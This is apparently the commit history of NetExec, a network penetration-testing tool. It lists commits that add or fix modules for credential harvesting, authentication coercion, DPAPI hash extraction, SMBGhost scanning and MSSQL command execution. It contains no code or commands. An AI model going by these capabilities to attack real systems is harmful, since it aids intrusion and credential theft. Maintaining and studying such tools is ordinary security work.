Alexander Neff 7f3233008d Replace None/False return values with empty list to prevent crashes 2024-10-22 15:27:23 -04:00
termanix 496ea65394 Updated get_ldap_info with parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-22 21:38:01 +03:00
Alexander Neff 8e421046d1 Remove obsolete code 2024-10-22 11:44:28 -04:00
Alexander Neff 623bfd9fe2 Fix linting 2024-10-22 10:32:34 -04:00
Alexander Neff cc659638c8 Merge branch 'main' into neff-drop-py-support 2024-10-22 10:32:13 -04:00
termanix 4627d0a119 Update for parse_result_attributes
Signed-off-by: termanix <[email protected]>
2024-10-21 22:11:42 +03:00
termanix a1bb4ee0df update ldap_results for now 2024-10-21 22:05:51 +03:00
termanix f4617f6436 removed unused timedelta
Signed-off-by: termanix <[email protected]>
2024-10-21 22:02:05 +03:00
termanix 6e2b050d33 Merge branch 'main' into patch-6 2024-10-21 21:59:29 +03:00
termanix d212ae7c2d Updated as Neff's review
Signed-off-by: termanix <[email protected]>
2024-10-21 21:55:46 +03:00
Alex d6e77d19c6 Merge pull request #470 from Chocapikk/main
FIX `a bytes-like object is required, not str` in `nxc/protocols/smb.py`
2024-10-20 23:28:10 +02:00
Chocapikk 536cede147 Add comment 2024-10-20 19:55:46 +02:00
Chocapikk d4a17c00a0 FIX a bytes-like object is required, not str 2024-10-20 17:08:23 +02:00
y0no 2bf95cc899 Move from --enum-share to --dir 2024-10-19 11:24:38 +02:00
Alex c312367b34 Merge pull request #466 from haytechy/main
Fixed issue with --options flag
2024-10-19 02:27:24 +02:00
Alexander Neff 5b48d68afb Remove unused import 2024-10-18 20:27:09 -04:00
Alexander Neff e2bec64be2 Hotfix if msDS-AllowedToActOnBehalfOfOtherIdentity has an empty security descriptor 2024-10-18 20:21:28 -04:00
Alexander Neff c2fe271738 Fix ldap result parsing minor code improvements 2024-10-18 20:20:27 -04:00
Alexander Neff fa8d5d5299 Merge branch 'main' into find-delegate 2024-10-18 16:57:51 -04:00
haytehcy 5bcf955bb3 Fixed issue with --options flag 2024-10-18 21:02:32 +01:00
termanix 6e59002b6f Edit_ldarp_parser 2024-10-18 16:48:15 +03:00
termanix 5b14c3f999 Used parse_result_attributes for parsing RBCD too
Signed-off-by: termanix <[email protected]>
2024-10-18 16:39:04 +03:00
termanix 29de0ccf34 Used parse_result_attributes for parsing
Signed-off-by: termanix <[email protected]>
2024-10-18 16:26:16 +03:00
Deft_ 6dcc0cf2d3 Create shadowrdp.py
Signed-off-by: Deft_ <[email protected]>
2024-10-17 13:47:32 +02:00
Deft_ f6436fd9ba Create remoteuac.py
Signed-off-by: Deft_ <[email protected]>
2024-10-17 13:33:49 +02:00
Deft_ 899c516a75 Update recyclebin.py
Signed-off-by: Deft_ <[email protected]>
2024-10-16 20:16:36 +02:00
Deft_ bc26a1b222 [SMB] Rework --spider and add recyclebin.py module 2024-10-16 18:21:06 +02:00
y0no c3f10eff87 Add --enum-shares options to SMB protocol 2024-10-16 18:02:13 +02:00
Alexander Neff 46cd610fb0 Update README to support py3.10+ 2024-10-16 07:39:08 -04:00
Alexander Neff 7e90ad2c0f Revert 8485417358 2024-10-16 07:36:33 -04:00
Alexander Neff ed0b03917e Update github workflows 2024-10-16 07:32:33 -04:00
Alexander Neff 6564038d51 Moving the PR template hoping that it now get recognized by gh 2024-10-16 07:29:14 -04:00
Alexander Neff 743a84dbe6 Update dependencies 2024-10-16 07:20:32 -04:00
Alexander Neff 4612df869e Drop python 3.8 and 3.9 support 2024-10-16 07:17:05 -04:00
Alex ae4317c955 Merge pull request #458 from Hackndo/patch-1 2024-10-16 13:05:14 +02:00
Pixis a798bb69c2 Update runasppl.py
`execute()` method of `smb` class returns False if an error occurred.
https://github.com/Pennyw0rth/NetExec/blob/main/nxc/protocols/smb.py#L766

If so, the current code fails as `False` is not iterable.

This fix will check if `p` is not `False` before checking the error message in `p` 

Signed-off-by: Pixis <[email protected]>
2024-10-16 11:25:40 +02:00
Hakan Yavuz bf3973068b add mssql_coerce Module
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-16 08:48:45 +03:00
Brian Giraldo 991673f095 New module that searches for files that contain aws credentials on windows and linux systems. 2024-10-15 23:24:55 -05:00
Deft_ 821741a789 Update notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:05:45 +02:00
Deft_ 5a364f7929 Minor code optimization
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:04:27 +02:00
Deft_ 581d5c600a Remove (little) unecessary code
Signed-off-by: Deft_ <[email protected]>
2024-10-15 20:03:02 +02:00
Deft_ a140c9479c Minor code optimization
Signed-off-by: Deft_ <[email protected]>
2024-10-15 19:59:22 +02:00
Hakan Yavuz e8830121e5 Get Two event with Single RPC call
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 16:39:18 +03:00
Hakan Yavuz 88e02f42cb Update eventlog_creds.py
fix for linter, spaces

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:25:24 +03:00
Hakan Yavuz c48ff38dbc Update eventlog_creds.py
add rpc method, 

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:15:51 +03:00
Hakan Yavuz efc143224b Create even6_parser.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-15 01:14:59 +03:00
0xQRx 2a724d3cd3 Merge branch 'main' into mssql-xp-shell-add-check 2024-10-13 19:48:37 -04:00
Hakan Yavuz d2ffe24b15 Update eventlog_creds.py
fix for lint

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 01:16:32 +03:00
Hakan Yavuz 57fdac1c93 Update eventlog_creds.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 01:02:29 +03:00
Hakan Yavuz 2ebc410cb7 Create eventlog_creds.py
add new module

Signed-off-by: Hakan Yavuz <[email protected]>
2024-10-14 00:50:15 +03:00
Alex 6d4fdfdb2d Merge pull request #448 from Pennyw0rth/v1.3.0
Release v1.3.0
2024-10-13 22:02:56 +02:00
Deft_ 3c197634b2 Delete nxc/modules/recent_files.py (clownface)
Signed-off-by: Deft_ <[email protected]>
2024-10-13 21:52:19 +02:00
Deft_ 26e08ca6a0 Update runasppl.py
Signed-off-by: Deft_ <[email protected]>
2024-10-13 17:27:37 +02:00
Deft_ dadad0e3f8 Create recent_files.py
Signed-off-by: Deft_ <[email protected]>
2024-10-12 20:25:53 +02:00
Deft_ 29329bfee2 Update and rename Notepad++.py to notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-12 19:16:01 +02:00
Deft_ 807e47200d [SMB] Powershell history module rework
Signed-off-by: Deft_ <[email protected]>
2024-10-12 18:46:22 +02:00
Alexander Neff a493c04e14 Release v1.3.0 2024-10-12 10:51:58 -04:00
Alex 485f72043e Merge pull request #446 from Pennyw0rth/fix-windows
Fix windows and encoding stuff
2024-10-12 16:17:58 +02:00
Alex 9e61764282 Merge pull request #447 from Pennyw0rth/neff-fix-loading-modules
Fix module loading for ssh, vnc and ftp
2024-10-12 16:12:16 +02:00
Alexander Neff 8211c33765 Fix module loading for ssh, vnc and ftp 2024-10-12 09:24:18 -04:00
Alex 8485417358 Removing unsupported option in py3.8 2024-10-12 15:07:35 +02:00
Alex c7164b6c3f Formating 2024-10-12 02:29:16 +02:00
Alex e583d5fbed Fix encoding for ldap results 2024-10-12 02:26:25 +02:00
Alex 15f84fd93d Fix encoding errors for log files etc when using non windows characters 2024-10-12 02:24:46 +02:00
Alex c2130aa67f Fix import errors for static binary 2024-10-12 02:23:41 +02:00
Deft_ cc5016f75a [SMB]
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:55:31 +02:00
Deft_ a804041140 [SMB] Add the --qwinsta and --tasklist options
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:52:45 +02:00
Deft_ ebb4d3e405 [SMB] Add the
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:52:04 +02:00
Deft_ f419884249 Create Notepad++.py
Signed-off-by: Deft_ <[email protected]>
2024-10-11 16:47:47 +02:00
Alex 95ac3716d7 Merge pull request #440 from ledrypotato/fix-NFS-get-large-file
Updated the  --get-file method to get large files from NFS shares
2024-10-11 00:07:41 +02:00
Alex c1f7ed3310 Merge branch 'main' into fix-NFS-get-large-file 2024-10-11 00:01:58 +02:00
Alexander Neff a0e0df2394 Remove unused variable 2024-10-10 18:01:04 -04:00
Alexander Neff 94605f18e7 Write pulled data directly to the file instead of caching it 2024-10-10 18:00:52 -04:00
Alex d61eec0146 Merge pull request #442 from Pennyw0rth/neff-improve-coerce_plus
Small fixes for coerce_plus
2024-10-10 23:51:29 +02:00
Alex b59d8238f5 Merge pull request #400 from dazzgt/bugfix/db-interface-error
refactoring to fix InterfaceError of DB
2024-10-10 23:51:04 +02:00
Alexander Neff 83a16b654b Fix PrinterBug detection 2024-10-10 17:40:13 -04:00
Alexander Neff 3ce7b6b37a Readd rpc message to success message 2024-10-10 17:39:58 -04:00
Alexander Neff b81ea6cb3a Simplify code 2024-10-10 15:25:00 -04:00
Alexander Neff a7141ae6f3 Improve handling of rpc errors for dfscoerce 2024-10-10 15:18:09 -04:00
Alex 0da4cf8455 Merge pull request #300 from lodos2005/main
Add coerce_plus Module
2024-10-10 13:24:54 +02:00
Matt Taylor e4a9352379 clean file size + implement EOF file read 2024-10-10 12:27:18 +02:00
termanix 4a47550d94 Update users and active-users ldap.py
Signed-off-by: termanix <[email protected]>
2024-10-09 23:40:02 +03:00
ledrypotato 7a86d0f045 update get-file method to get large files 2024-10-09 16:50:10 +02:00
snowpeacock aa9075e35c fix: override of exec method by default arg 2024-10-07 16:36:00 +02:00
termanix 7db7de4f1e Update ldap.py.
Added processAttributeValue Function
A new helper function was introduced to process the content of LDAP AttributeValue objects.

Updated printTable Function

Resource-Based Constrained Delegation Processing

Added Constant Variables
Constant variables were defined for userAccountControl values.

Modular Code Structure
The overall structure was made more modular; functions were clearly separated for better readability.

Signed-off-by: termanix <[email protected]>
2024-10-07 10:17:21 +03:00
Alexander Neff dadeff939d Fix NFS database to usethe new super class 2024-10-06 15:29:15 -04:00
Alexander Neff a3bc425e9f Fix merging error 2024-10-06 15:28:34 -04:00
Alex c1780a1a26 Merge pull request #411 from Pennyw0rth/neff-improve-login
Increase plaintext&hash login speeds
2024-10-06 21:20:05 +02:00
Alexander Neff 50a5b6b0de Merge branch 'main' into fix-dbs 2024-10-06 13:01:34 -04:00
Alexander Neff a4ad6895c1 Formating 2024-10-06 11:26:50 -04:00
Alex 43da2afa58 Merge pull request #435 from Pennyw0rth/neff-improve-testsuite
Improve test suite
2024-10-05 21:55:40 +02:00
Alexander Neff c1589955fd Add 2 error codes that shows a successful coercion 2024-10-05 12:21:59 -04:00
Alexander Neff 5a0f1a5a6a Change help message from NFS to get in line with other protocols 2024-10-05 09:18:15 -04:00
Alexander Neff 0dcfc7399b Add an option to show commands that produced no output as "not tested" 2024-10-04 17:07:28 -04:00
Alexander Neff 567b2bf7cc Fix spelling which prevented commands to be run by the test suite 2024-10-04 17:06:51 -04:00
Alexander Neff ed0187391c Remove domain from not implemented plaintext login to fix protocols with no auth and no domain 2024-10-04 17:06:26 -04:00
Alex 092a14f1fe Merge pull request #434 from Pennyw0rth/neff-fix-pwned-label
Fix pwned label when brute forcing with guest account enabled
2024-10-04 22:55:00 +02:00
Alexander Neff 6fa13820dc Fix pwned label when brute forcing with guest account enabled 2024-10-04 16:22:37 -04:00
Alexander Neff 85b2b6e084 Add --use-kcache to commands that require a new conn object 2024-10-04 16:11:02 -04:00
Alex 754ca2d423 Merge pull request #404 from tiyeuse/main
Add file write check on smb
2024-10-04 17:43:00 +02:00
Alexander Neff f17a61f531 Change write privs of a share to True if we can either create a file OR a directory 2024-10-04 11:34:52 -04:00
Alex e1c66357d6 Merge pull request #433 from Pennyw0rth/neff-fix-database-creation
Fix a bug with the databases when a new protocol is added
2024-10-04 17:13:28 +02:00
Alexander Neff c2dfa67c6c Fix a bug with the databases when a new protocol is added 2024-10-04 10:58:59 -04:00
Alex 27313a00b6 Merge pull request #366 from termanix/NFS-Protocol
New Protocol NFS
2024-10-03 16:10:55 +02:00
Alexander Neff 90cc0e57d7 Formating 2024-10-02 17:56:27 -04:00
Pavel Redyukov 7729139d10 Merge branch 'main' into bugfix/db-interface-error 2024-10-02 14:10:26 +03:00
termanix 41681ee1cb Fixed put-file
Signed-off-by: termanix <[email protected]>
2024-10-02 13:43:42 +03:00
termanix bbb9d15e66 e2e editted
Signed-off-by: termanix <[email protected]>
2024-10-02 09:11:42 +03:00
Alexander Neff 4ea4b5f961 Merge "main" into "NFS-Protocol" 2024-10-01 18:14:44 -04:00
Alexander Neff 998b8787a6 Change arg help 2024-10-01 17:59:24 -04:00
Alexander Neff b5f9e131ee Add error handling for upload, fix permissions for upload and fix upload for windows 2024-10-01 17:43:45 -04:00
Alexander Neff f396ff0b66 Simplify code 2024-10-01 16:39:07 -04:00
termanix 1eafa319bc fixed and done get-file for windows and linux
Signed-off-by: termanix <[email protected]>
2024-10-01 17:30:14 +03:00
Alexander Neff c1308e6186 Fix local file name 2024-09-30 19:04:33 -04:00
Alexander Neff e737dd6aca Remove unused function, fix uid detection, add comments and simplify code 2024-09-30 18:50:58 -04:00
Alexander Neff 555347752a Fix bug with uid and uid autodetection 2024-09-30 18:49:33 -04:00
termanix f95b9354b7 Renamed get file dispay name
Signed-off-by: termanix <[email protected]>
2024-09-30 23:06:45 +03:00
termanix 74d7d07b1f import os for downloaded files
Signed-off-by: termanix <[email protected]>
2024-09-30 23:00:00 +03:00
termanix fbfbcc3baa added get, puf file flags
Signed-off-by: termanix <[email protected]>
2024-09-30 22:53:49 +03:00
termanix 79ecfa8a4d uid-brute removed. Added get-file and put-file
Signed-off-by: termanix <[email protected]>
2024-09-30 22:52:24 +03:00
termanix 4ae6c195f0 Fixed --enum-shares UID bug and removed uid-brute on proto-args 2024-09-30 09:30:41 +03:00
Alexander Neff 62b535ea50 Rename Reachable Networks to Access List 2024-09-29 18:55:55 -04:00
Alexander Neff 84aa78898b Implementing UID autodetection, making the uid flag redundant 2024-09-29 18:43:06 -04:00
Alexander Neff 8c5b3617e8 Fix bug for insufficient permissions, remove unnecessary code and formating 2024-09-29 18:17:02 -04:00
termanix 9031589f0d Changed enum-shares default depth to 3 from 1
Signed-off-by: termanix <[email protected]>
2024-09-29 15:39:49 +03:00
termanix a877047ba2 all feature flags done with output
Signed-off-by: termanix <[email protected]>
2024-09-29 15:38:28 +03:00
Alexander Neff 6f24858dc0 Fix indents 2024-09-29 07:09:44 -04:00
Alexander Neff 1a38a288df Add share usage 2024-09-29 07:05:00 -04:00
Alex aef2675cee Merge pull request #406 from Pennyw0rth/neff-fix-mssql-log
Fix file logging for display messages
2024-09-28 23:02:57 +02:00
Alexander Neff b48f6945ae Added uid proto arg and rwx permission check for enum_shares 2024-09-28 16:59:39 -04:00
Alexander Neff 4cd46c7fd9 Separate enum_shares and uid_brute 2024-09-28 15:53:09 -04:00
Alexander Neff fadce581ef Improve code 2024-09-28 15:40:41 -04:00
Alexander Neff 1e624d8606 Add share permission enumeration 2024-09-28 15:40:28 -04:00
Alexander Neff c23db63b97 Add connection timeout option 2024-09-28 12:17:09 -04:00
Alexander Neff 6b5eb1a240 Remove plaintext_login as there is no such thing in NFS3 2024-09-28 11:57:28 -04:00
Alexander Neff e9ed46b6e0 Correct port description 2024-09-28 11:57:01 -04:00
Alexander Neff f05601f645 Use init as create_conn_obj function and improve code structure 2024-09-28 11:56:46 -04:00
Alexander Neff 8c39962dba Add generel disconnect instruction to be implemented by protocols 2024-09-28 11:47:11 -04:00
Alexander Neff ff194d3e0b Remove hardcoded nxc_path 2024-09-28 07:29:05 -04:00
Alexander Neff f47ebb3356 Add file&line number to debug file log 2024-09-28 07:13:02 -04:00
Alex 04a695ff93 Merge pull request #341 from 357384n/main
Add new SMB module to get the PowerShell history on all the users
2024-09-25 00:38:38 +02:00
Alex ac2dfc95e7 Merge pull request #422 from Pennyw0rth/neff-fix-maq
Fix maq module if MAQ not set
2024-09-24 23:56:22 +02:00
Pavel Redyukov 3b1eac7be5 refactoring to fix InterfaceError of DB 2024-09-23 15:21:48 +03:00
termanix ad1b421422 Fixed spam output while uid bruteforce
Signed-off-by: termanix <[email protected]>
2024-09-23 12:57:54 +03:00
Alexander Neff d89709feac Update PyNfsClient 2024-09-22 19:34:35 -04:00
Alexander Neff 045f2c291b Fix recursion depth 2024-09-22 19:28:28 -04:00
Alexander Neff f191f780a3 Renaming, simplifying code and adad recursion depth to share listing 2024-09-22 19:27:59 -04:00
Alexander Neff 78a270b57b Switch pynfsclient to our fork 2024-09-22 16:37:55 -04:00
Alexander Neff ee549ccae7 Add ipv6 message and formating 2024-09-21 12:46:59 -04:00
Alexander Neff e1ecf90a78 Formating 2024-09-21 12:04:55 -04:00
Alexander Neff 4e855f811f Properly add pynfsclient dependency 2024-09-21 12:04:39 -04:00
Alexander Neff 31b909b97d Check if there is a history before saving 2024-09-21 09:11:29 -04:00
Alexander Neff 5da577f5c3 Optimise export code 2024-09-21 09:06:13 -04:00
Alexander Neff bb95e0faa4 Add "passw" as keyword 2024-09-21 08:55:02 -04:00
Alexander Neff 1b4081e54c Simplify code and formatting 2024-09-21 08:54:09 -04:00
Alex 99d4e49ac1 Merge pull request #423 from Pennyw0rth/neff-patch-1 2024-09-20 09:27:08 +02:00
Alexander Neff d52a651bd4 Fix logger protocol when using --no-smb 2024-09-19 17:27:56 -04:00
Alexander Neff 6dbf14b87f Fix maq module if ms-DS-MachineAccountQuota is not set 2024-09-19 16:55:35 -04:00
Alexander Neff cea324c97b Fix escape sequence 2024-09-19 16:40:04 -04:00
Alex bb2f3ec13a Merge pull request #418 from a-urth/main
Encode delegate/impersonate user name string as utf8 unicode, not latin1
2024-09-18 23:37:57 +02:00
Alex 2eebb7c513 Merge pull request #417 from jsherwood0/make_version_arg_universal
Make --version switch universal so help2man will work properly
2024-09-18 23:25:42 +02:00
au 0dbea8e8a3 encode string as utf8 unicode, not latin1 2024-09-14 14:33:06 +03:00
root@devkali 9153779671 Make --version switch universal so help2man will work properly 2024-09-13 17:11:42 -04:00
deathflamingo 6477771cfe Merge pull request #1 from deathflamingo/deathflamingo-mssql-modules-1
Added new modules for mssql- namely enum_impersonate, enum_logins,, enum_links, exec_on_link, link_enable_xp, link_xpcmd
2024-09-11 15:15:42 +05:30
deathflamingo 87199f6e5c Add files via upload
Signed-off-by: deathflamingo <[email protected]>
2024-09-11 15:10:33 +05:30
termanix 509f6d1373 Update ldap.py ruff fix
Signed-off-by: termanix <[email protected]>
2024-09-05 12:38:57 +03:00
termanix a9181f469d Update ldap.py for find delegation
Added try except on header

Signed-off-by: termanix <[email protected]>
2024-09-05 12:32:23 +03:00
Alex e927f33f2b Merge pull request #407 from r4vanan/main
Smbghost scanning module
2024-09-03 01:19:44 +02:00
Alexander Neff 6e5929175c Make description more precise 2024-09-02 18:52:56 -04:00
Alexander Neff ea9acdcb40 Fix ruff linting 2024-09-02 16:51:43 -04:00
Alex 7657f9603a Merge pull request #342 from Kahvi-0/main
schtask_as Improvement - Options for custom task, file, and location.
2024-09-02 00:44:56 +02:00
Alexander Neff 0175be7b08 Added example path and os.path.join for flexibility 2024-09-01 18:38:56 -04:00
Alex 9cc44f65e7 Merge pull request #306 from jubeaz/module_wcc_add_defender
Module wcc added some defender checks
2024-09-01 21:45:09 +02:00
Vinoth Kumar 2744a2c4ed Merge branch 'Pennyw0rth:main' into main 2024-09-01 20:18:27 +05:30
Vinoth Kumar b771c28b51 removed unwanted code
Signed-off-by: Vinoth Kumar <[email protected]>
2024-09-01 20:17:54 +05:30
Alexander Neff 7070305e6c Add faster login for kerberos 2024-09-01 07:28:30 -04:00
Alexander Neff cafa670113 Create new connection object if we want to log in 2024-09-01 07:28:02 -04:00
Alex e14be335c3 Merge pull request #393 from Pennyw0rth/neff-fix-kerberos
Fix issues with kerberos and non NTLM domains
2024-09-01 12:44:29 +02:00
Vinoth Kumar 3fd8598389 Merge branch 'Pennyw0rth:main' into main 2024-08-31 09:54:11 +05:30
Alexander Neff 425ad8ea23 Remove unnecessary new line 2024-08-30 14:18:14 -04:00
Alex 45a9121bb1 Merge pull request #328 from Shad0wC0ntr0ller/pre2k
Identify Pre-Created Computer Accounts
2024-08-30 20:09:18 +02:00
Alexander Neff e4b7ea64eb Increase plaintext&hash login speeds, also only evaluate smbv1 at initialisaion 2024-08-29 18:58:06 -04:00
Alex 9bc05e55ee Merge pull request #394 from Pennyw0rth/neff-workflows
Updated github workflows
2024-08-29 14:26:25 +02:00
Alexander Neff 0034048da4 Simplify code 2024-08-28 17:34:56 -04:00
Alex e7acdc78e1 Merge pull request #409 from cauan/patch-2
ldap-checker.py Catch connection errors
2024-08-27 23:59:12 +02:00
Alexander Neff 35b4c4c63d Fix logging and improve reason text 2024-08-27 17:55:07 -04:00
Alexander Neff dfb28184a8 Improve config text 2024-08-27 17:54:49 -04:00
Alexander Neff 4a776651c1 Formating 2024-08-27 17:35:59 -04:00
Alexander Neff 1c19cbe836 Integrate new registry checks into existing code 2024-08-27 17:35:42 -04:00
Alex 62496a3863 Merge pull request #408 from cauan/patch-1
ldap-checker.py false positive fixed
2024-08-27 22:02:55 +02:00
Cauan 4a0f0381a6 Update ldap-checker.py
Changed catch all exception as suggesteed.

Signed-off-by: Cauan <[email protected]>
2024-08-27 14:32:41 +10:00
Cauan 34ac854a3c ldap-checker.py Catch connection errors
Socket connection moved into the try/catch to catch connection errors.

Signed-off-by: Cauan <[email protected]>
2024-08-26 22:10:46 +10:00
Cauan 2de896cb49 ldap-checker.py false positive fixed
run_ldap return code changed from False to None when errors are found to avoid false positives such as when connection fails.

Signed-off-by: Cauan <[email protected]>
2024-08-26 21:59:10 +10:00
Vinoth Kumar 821f20e114 Merge branch 'main' into main 2024-08-26 09:16:34 +05:30
Alexander Neff 43c1d33904 Replaced DEPRECATED with REMOVED 2024-08-25 13:36:16 -04:00
Alexander Neff 24ad5e63e2 Readd old coercion modules for deprecation warning 2024-08-25 13:34:26 -04:00
Alexander Neff 2ac0d4d543 Merge "main" into "coerce_plus" 2024-08-25 13:17:38 -04:00
Alexander Neff 4ac77486d0 Formating 2024-08-25 13:12:15 -04:00
Alexander Neff 2419d2d4d8 Fix MSEven pipe and add ports 2024-08-25 13:09:21 -04:00
Alex f9d3caab63 Merge pull request #399 from Pennyw0rth/NeffIsBack-patch-1
Add Unix availability to README.md
2024-08-25 16:28:24 +02:00
Vinoth Kumar 0cc6151a0b Smbghost module
Module to scan for SMBGhost (CVE-2020-0796) Vulnerability

Signed-off-by: Vinoth Kumar <[email protected]>
2024-08-25 19:45:57 +05:30
Alexander Neff cd9e1adcfd Delete log level filter for file logging 2024-08-25 09:46:12 -04:00
0xQRx a8954f1f32 Restore removed comment.
Signed-off-by: 0xQRx <[email protected]>
2024-08-24 18:52:46 -04:00
0xQRx 363691aa4f added is_xp_cmdshell_enabled() function to check mssql if xp_cmdshell is already enabled, to avoid altering its state 2024-08-24 18:09:12 -04:00
wil 675480c5ca Add file write check on smb 2024-08-24 19:45:52 +02:00
Alexander Neff ee9409a387 Revert 0ca3c43 as this stops some messages from getting logged to file 2024-08-24 08:50:48 -04:00
Alexander Neff f9799496ac Change README 2024-08-24 07:59:47 -04:00
Alex 83514bf2a9 Merge pull request #374 from joaovarelas/main
Add module to lookup hostname of Hyper-V host - 'hyperv-host.py'
2024-08-24 13:37:47 +02:00
Alexander Neff b9d788b8d4 Change Exception to DCERPCException and added debug log 2024-08-15 13:36:50 -04:00
joaovarelas b59f252363 Merge branch 'Pennyw0rth:main' into main 2024-08-11 11:12:32 +01:00
Alex db4c2fad2b Add Unix availability to README.md
Signed-off-by: Alex <[email protected]>
2024-08-10 23:21:28 +02:00
Alexander Neff 375611cfd5 Add another success rpc error message 2024-08-04 19:02:04 -04:00
Alexander Neff 96bff4e3aa Added ERROR_BAD_NETPATH to the positiv result list 2024-08-04 18:41:54 -04:00
Alexander Neff d82ee41d5b Remove auth_level as this breaks the coercion 2024-08-04 18:41:27 -04:00
Alexander Neff af4a28d9b9 Enable manual linting runs for first time PRs 2024-08-04 16:47:56 -04:00
Alexander Neff 5810d14038 Updated pipeline to latest versions 2024-08-04 16:47:41 -04:00
Alex 739791e33b Merge pull request #392 from Pennyw0rth/neff-fix-spider_plus
Fix spider_plus bug where len was applied to the count not an array
2024-08-04 22:38:27 +02:00
Alex e982a68b44 Merge pull request #386 from Pennyw0rth/neff-sccm
Adding SCCM LDAP Reconnaissance to NetExec
2024-08-03 19:06:09 +02:00
Alexander Neff 66da98c318 Fix laps login with kerberos 2024-08-03 10:01:55 -04:00
Alexander Neff 069fb908b0 Fix issues where we need kerberos authentication logic, but implicitely use kerberos (e.g. --use-kcache) 2024-08-03 08:44:36 -04:00
Alexander Neff 1292f0f8fb Fix spider_plus bug where len was applied to the count not an array 2024-08-02 11:57:09 -04:00
Alex f8ac2e1ff1 Merge pull request #391 from glefait/patch-1
Fix: module spider_plus with filtered folders
2024-08-02 17:42:59 +02:00
Guillem Lefait 1839c0cb4c Fix: module spider_plus with filtered folders
With option to filter folders is set and a folder matches the filter, there is a typo in the incremented counter.

The counter should be ` self.stats[f"num_{result_type}s_filtered"]`  and not `self.stats[f"{result_type}s_filtered"]`.

The latter does not exists and trigger the following error:
```
KeyError: 'folders_filtered'
```

Signed-off-by: Guillem Lefait <[email protected]>
2024-08-01 11:01:16 -04:00
Alex e76d4e98fe Merge pull request #390 from Pennyw0rth/neff-fix-mssql_priv
Fix admin check in mssql_priv
2024-08-01 14:45:01 +02:00
joaovarelas 506486fa62 Merge branch 'Pennyw0rth:main' into main 2024-07-31 08:57:51 +00:00
Alex a28c441ae2 Merge pull request #378 from nikaiw/check_admin_false_positive
Fix check admin false positive on certain target (e.g Netapp)
2024-07-28 19:59:29 +02:00
Alexander Neff 3db14d4de4 Formating 2024-07-28 12:49:35 -04:00
Alexander Neff 6afb8bba0b Adding rpc auth level 2024-07-28 12:46:59 -04:00
Alexander Neff 7bb04c92b1 Formating 2024-07-27 18:05:17 -04:00
Alex 80d03ad3ee Merge pull request #387 from Pennyw0rth/neff-fix-netbios
Stop NetBiosTimeout and error producing large stack traces
2024-07-27 20:52:09 +02:00
joaovarelas b4612ea38c trycatch and suppress errors mod hyperv-host.py 2024-07-27 19:05:59 +01:00
joaovarelas 11983af3fb Merge branch 'Pennyw0rth:main' into main 2024-07-27 17:46:23 +00:00
Alexander Neff 41a21ee838 Fix admin check in mssql_priv 2024-07-27 10:59:38 -04:00
Alex c0adbf1eb8 Merge pull request #389 from 3ldidi94/patch-1
Update handlekatz.py pypykatz import
2024-07-27 15:31:41 +02:00
3ldidi94 41b8fbb715 Update handlekatz.py
Fix pypykatz import in handlekatz

Signed-off-by: 3ldidi94 <[email protected]>
2024-07-27 13:31:20 +02:00
Alexander Neff 4504cf29d0 Add comment 2024-07-26 17:06:35 -04:00
Alexander Neff 693da7120b Stop NetBiosTimeout and error producing large stack traces 2024-07-26 16:59:48 -04:00
Alexander Neff 413e5cd5d0 Fix display bug with ip and add creds to sccmhunter 2024-07-26 15:38:31 -04:00
Alexander Neff f18c442a10 Finish SCCM string enumeration 2024-07-26 13:12:06 -04:00
zblurx 548b6d0c28 Merge pull request #384 from Pennyw0rth/zblurx-patch-1
Update dploot to 2.7.4 in pyproject.toml
2024-07-25 18:08:00 +02:00
zblurx 7b3145e6ec udpate poetry.lock 2024-07-25 17:58:15 +02:00
zblurx 0234219daa Update dploot to 2.7.4 in pyproject.toml
Signed-off-by: zblurx <[email protected]>
2024-07-25 17:47:58 +02:00
Alex cb639c8854 Merge pull request #295 from Adamkadaban/dumpSecurityQuestionsModule
add new security-questions module
2024-07-23 20:24:07 +02:00
Alexander Neff 74dcef77ce Add CAS attribute 2024-07-21 06:06:41 -04:00
termanix 18a857396c Update ldap.py, added findDelegation
Signed-off-by: termanix <[email protected]>
2024-07-21 12:59:10 +03:00
termanix 176c480beb Update proto_args, added find delegation
Signed-off-by: termanix <[email protected]>
2024-07-21 12:54:20 +03:00
Alexander Neff 21515206b4 Improve code readability 2024-07-20 17:34:49 -04:00
Alexander Neff b9882167a3 Finish SCCM basic enumeration 2024-07-20 17:24:15 -04:00
NK 6a735c1619 add an option to ioxidresolver to get only interfaces IP for IP different than targets 2024-07-20 22:43:15 +02:00
NK 703191308a Fix check admin false positive on certain target (e.g Netapp) 2024-07-20 22:00:06 +02:00
NK be9ee13290 This module automate extraction of dpapi "hash" based on the user's protected masterkey
Big thanks to @Fist0urs for the awesome groundwork
This work was presented a long time ago see https://www.synacktiv.com/ressources/univershell_2017_dpapi.pdf
Currently the module is written to only generated dpapi "hash" in the context of a Domain
(Hashcat -m 15310 or -m 15900)
This is a first ugly version, lot of room for improvement
2024-07-20 21:48:47 +02:00
joaovarelas f54deff68e edited reg query fail msgs 2024-07-20 14:29:04 +01:00
joaovarelas 43da81861f Merge branch 'Pennyw0rth:main' into main 2024-07-20 14:27:30 +01:00
Alex 398716de24 Merge pull request #376 from Pennyw0rth/neff-patch-2
Add try&except block for DCERPCExceptions to fix #373
2024-07-19 23:37:49 +02:00
Alexander Neff 4cb3b417d6 Resolve all computer dns_hostnames of all sids that have full controle over the sccm object 2024-07-19 16:51:57 -04:00
Alex a1ca2697e3 Merge branch 'main' into neff-patch-2 2024-07-19 19:21:31 +02:00
Alex 8ed41498ff Merge pull request #375 from Pennyw0rth/neff-patch-1
Fix ruff linting
2024-07-19 19:21:12 +02:00
Alexander Neff ab0af5ab4a Add try&except block for DCERPCExceptions and updated module 2024-07-19 12:27:24 -04:00
Alexander Neff 6651fb0698 Fix ruff linting 2024-07-19 12:11:58 -04:00
